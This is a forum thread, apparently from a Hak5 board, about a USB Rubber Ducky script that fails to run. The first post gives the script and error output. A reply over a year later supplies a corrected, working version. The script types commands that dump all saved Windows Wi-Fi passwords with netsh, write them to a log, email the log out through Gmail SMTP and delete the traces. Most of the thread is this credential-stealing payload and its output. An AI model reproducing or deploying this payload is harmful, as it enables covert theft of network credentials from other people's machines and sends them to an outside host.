Jump to content

Weird Problem with rubber ducky any explanation ?


Recommended Posts

so i go my rubber ducky and i went to GitHub and used the script for WiFi grapper and send via email

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/WiFi-password-Grabber-2-(Windows-10)

ist not even working ....

Microsoft Windows [Version 10.0.17763.592]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\X>cd @%USERPROFILE%\Desktop@ & for /f @tokens=2 delims=: @ %A in ('netsh wlan show interface ^| findstr @SSID@ ^| findstr /v @BSSID@') do set A=%A
2 was unexpected at this time.

C:\Users\X>netsh wlan show profiles %A% key=clear | findstr /c:@Network type@ /c:@Authentication@ /c:@Key Content@ | findstr /v @broadcast@ | findstr /v @Radio@>>A.txt
FINDSTR: Cannot open type@
FINDSTR: Cannot open /c:@Authentication@
FINDSTR: Cannot open /c:@Key
FINDSTR: Cannot open Content@

C:\Users\X>for /f @tokens=3 delims=: @ %A in ('findstr @Network type@ A.txt') do set B=%A
3 was unexpected at this time.

C:\Users\X>for /f @tokens=2 delims=: @ %A in ('findstr @Authentication@ A.txt') do set C=%A
2 was unexpected at this time.

C:\Users\X>for /f @tokens=3 delims=: @ %A in ('findstr @Key Content@ A.txt') do set D=%A
3 was unexpected at this time.

C:\Users\X>del A.txt

C:\Users\X>echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt

C:\Users\X>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\X> REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
The operation completed successfully.
PS C:\Users\X> $SMTPServer = 'X.gmail.com'
PS C:\Users\X> $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 25)
PS C:\Users\X> $SMTPInfo.EnableSsl = $true
PS C:\Users\X> $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('X"X.com', 'XXXX')
PS C:\Users\X> $ReportEmail = New-Object System.Net.Mail.MailMessage
PS C:\Users\X> $ReportEmail.From = 'X"gmail.com'
Exception setting "From": "Cannot convert value "X"gmail.com" to type "System.Net.Mail.MailAddress". Error: "The specified string is not in the form required for an e-mail address.""
At line:1 char:1
+ $ReportEmail.From = 'X"gmail.com'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], SetValueInvocationException
    + FullyQualifiedErrorId : ExceptionWhenSetting

PS C:\Users\X> $ReportEmail.To.Add('X"gmail.com')
Exception calling "Add" with "1" argument(s): "The specified string is not in the form required for an e-mail address."
At line:1 char:1
+ $ReportEmail.To.Add('X"gmail.com')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : FormatException

PS C:\Users\X> $ReportEmail.Subject = 'WiFi Password'
PS C:\Users\X> $ReportEmail.Body = (Get-Content Log.txt | out-string)
PS C:\Users\X> $SMTPInfo.Send($ReportEmail)
Exception calling "Send" with "1" argument(s): "A from address must be specified."
At line:1 char:1
+ $SMTPInfo.Send($ReportEmail)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : InvalidOperationException

PS C:\Users\X> exit

C:\Users\X>

 

CODE USED

DELAY 1000
REM --> Minimize all windows
WINDOWS d
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 200
REM --> Get all SSID
STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt
ENTER
REM --> Create a filter.bat to get all the profile names
STRING echo setlocal enabledelayedexpansion^
ENTER
ENTER
STRING for /f "tokens=5*" %%i in (a.txt) do (^
ENTER
ENTER
STRING set val=%%i %%j^
ENTER
ENTER
STRING if "!val:~-1!" == " " set val=!val:~0,-1!^
ENTER
ENTER
STRING echo !val!^>^>b.txt) > filter.bat
ENTER
REM --> Run filter.bat and save all profile names in b.txt
STRING filter.bat
DELAY 300
ENTER
REM --> Save all the good stuff in Log.txt and delete the other garbage files
STRING (for /f "tokens=*" %i in (b.txt) do @echo     SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt
ENTER
DELAY 1000
STRING del a.txt b.txt filter.bat
ENTER
REM --> Mail Log.txt
STRING powershell
ENTER
DELAY 1000
STRING $SMTPServer = 'EMAIL'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 465)
ENTER
STRING $SMTPInfo.EnableSSL = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('EMAIL', 'PASS')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'EMAIL'
ENTER
STRING $ReportEmail.To.Add('EMAIL')
ENTER
STRING $ReportEmail.Subject = 'WiFi Report'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 3000
REM --> Delete Log.txt and exit
ENTER

 

Link to comment
Share on other sites

  • 1 year later...

Your script seems like there it has some flawed monkey business going on.  I'm too lazy to figure out exactly what that is.  However,  This works:

Note that you will want to create an Application password for Windows in Gmail so that can send email from Windows machines.  A lot of people get hung up on this part.  Go here and follow the instructions.

https://support.google.com/accounts/answer/185833?hl=en

Done correctly, Google will give you something like:  hjsjdhuhfkjcjfhfqq

Use this application in place of YOURPASSWORD

Don't forget the quotes around 'YOURPASSWORD'

Obviously, you'll most likely want to create a separate gmail account for serious monkey business as this script put the keys to your Gmail kingdom in clear text.

 

 

-----SCRIPT----------

REM --> Adjust the delays up if your machines are slow.

DELAY 4000

GUI d
DELAY 1000
REM --> Open cmd
WINDOWS r
DELAY 1000
STRING cmd
ENTER
DELAY 1000

REM --> Get all SSID
STRING cd %USERPROFILE% & netsh wlan show profiles | findstr "All" > a.txt
ENTER
REM --> Create a filter.bat to get all the profile names
STRING echo setlocal enabledelayedexpansion^
ENTER
ENTER
STRING for /f "tokens=5*" %%i in (a.txt) do (^
ENTER
ENTER
STRING set val=%%i %%j^
ENTER
ENTER
STRING if "!val:~-1!" == " " set val=!val:~0,-1!^
ENTER
ENTER
STRING echo !val!^>^>b.txt) > filter.bat
ENTER
REM --> Run filter.bat and save all profile names in b.txt
STRING filter.bat
DELAY 300
ENTER
REM --> Save all the good stuff in Log.txt and delete the other garbage files
STRING (for /f "tokens=*" %i in (b.txt) do @echo     SSID: %i & netsh wlan show profiles name="%i" key=clear | findstr /c:"Key Content" & echo.) > Log.txt
ENTER
DELAY 4000
STRING del a.txt b.txt filter.bat
ENTER

REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUREMAIL@gmail.com', 'YOURPASSWORD');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'EMAILFROM@gmail.com'
ENTER
STRING $ReportEmail.To.Add('EMAILTO@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WIFI Log from Machine'
ENTER
STRING $ReportEmail.Body = 'Attached is the WIFI Log' 
ENTER
STRING $ReportEmail.Attachments.Add('Log.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000
REM --> Delete Log.txt and exit
STRING del Log.txt
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000
STRING exit
 

-----SCRIPT----------

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...